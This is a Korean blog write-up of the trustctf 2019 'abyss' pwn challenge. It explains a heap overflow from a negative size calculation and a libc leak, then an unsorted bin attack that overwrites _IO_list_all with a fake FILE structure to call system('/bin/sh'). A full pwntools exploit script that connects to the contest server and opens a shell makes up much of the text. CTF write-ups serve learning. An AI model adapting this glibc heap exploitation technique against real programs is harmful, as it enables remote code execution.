trustctf 2019 abyss
푸는데 가장 오래 걸렸던 문제이다.
잠수하는 힙문제기도 하고 내가 약한 언솔빈이기도 해서..
어쨋든 취약점을 설명하자면
맨 처음에 heap
주소를 준다.
message
함수에서 chunk
에 nbytes
만큼 입력받는데, 그 계산을 자신의 size
에서 뒷 청크의 size
와 1을 빼서 계산한다.
즉, nbytes
가 음수가 되어 heap overflow
가 발생할 수 있다는 것이다.
또, dive
함수에서 malloc
을 해주는데, deep
변수에 음수 값을 넣을 수 있다.
근데 음수 값을 넣으면 dive
함수에서 malloc
이 실행되지 않는다.
하지만 main
함수에서 calloc
으로 다시 할당해주기 때문에 음수 값으로 chunk
전역변수 뒷부분에 주소값을 저장시킬 수 있다.
이를 통해 전역 변수쪽에서 size
가 작은 곳을 찾아 heap overflow
를 일으키고 뒷부분의 chunk
를 free
시켜 libc
을 leak
할 수 있다.
여기서 다시 한번 heap overflow
를 일으켜서 unsorted bin attack
을 트리거하여 _IO_list_all
변수를 덮는다.
unsorted bin
의 size
를 0x61
으로 변경시켜주고, heap
에 fake _IO_FILE struct
와 fake _wide_data struct
를 만들어준 후 _IO_OVERFLOW
부분을 system
으로 덮어 malloc
후 쉘을 얻으면 된다.
사실 이 문제의 인텐디드는 house of force
라고 한다. 나는 아직 이 기법을 몰라서 이렇게 풀었는데 나중에 공부해봐야겠다.
x
from pwn import *
context.log_level = 'debug'
e = ELF('./abyss')
s = connect('server.trustctf.com', 29384)
#s = process(e.path)
#s = process(e.path, env = {'LD_PRELOAD':'./libc.so.6'})
l = ELF('./libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
def menu(sel):
sla('>> ', sel)
def dive(deep):
menu('1')
sla(': ', deep)
def goup():
menu('2')
def message(shout, md=''):
menu('3')
if md=='exp':
sla(': ', shout)
else:
ru(': ')
s.send(shout)
def poison():
menu('4')
ru('oxygen : ')
heap = int(s.recv(14),16)
log.info('heap!: {}'.format(hex(heap)))
dive('-14')
dive('1')
dive('1')
dive('1')
dive('1')
dive('1')
dive('1')
dive('1')
dive('1')
dive('-2')
poison()
dive('-7')
message('A'*0x3bc)
ru('A'*(0x3bc))
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3c4b78
log.info('l_base!: {}'.format(hex(l_base)))
_IO_list_all = l_base + l.symbols['_IO_list_all']
system = l_base + l.symbols['system']
wide_data = heap + 0x580
vtable = heap + 0x570
pay = '\x00'*0x3ac
pay += "/bin/sh\x00" + p64(0x61)
pay += p64(0x12345678) + p64(_IO_list_all-0x10)
pay = pay.ljust(0x3ac + 0xa0, '\x00')
pay += p64(wide_data) # _IO_wide_data
pay = pay.ljust(0x3ac + 0xd8-0x18, '\x00')
pay += p64(1)
pay += '\x00'*0x10
pay += p64(vtable)
pay += p64(0)*11
pay += p64(system)
pay += p64(0)
pay += p64(1)
pay += p64(2)
dive('0')
message(pay, md='exp')
dive('-2')
io()
'system > writeup' 카테고리의 다른 글
hackingcamp 2019 secret note (6) | 2019.02.19 |
---|---|
hackingcamp 2019 can you get shell? (0) | 2019.02.19 |
trustctf 2019 start (2) | 2019.02.15 |
trustctf 2019 로꾸꺼 (3) | 2019.02.15 |
hitcon 2016 house of orange (0) | 2019.02.13 |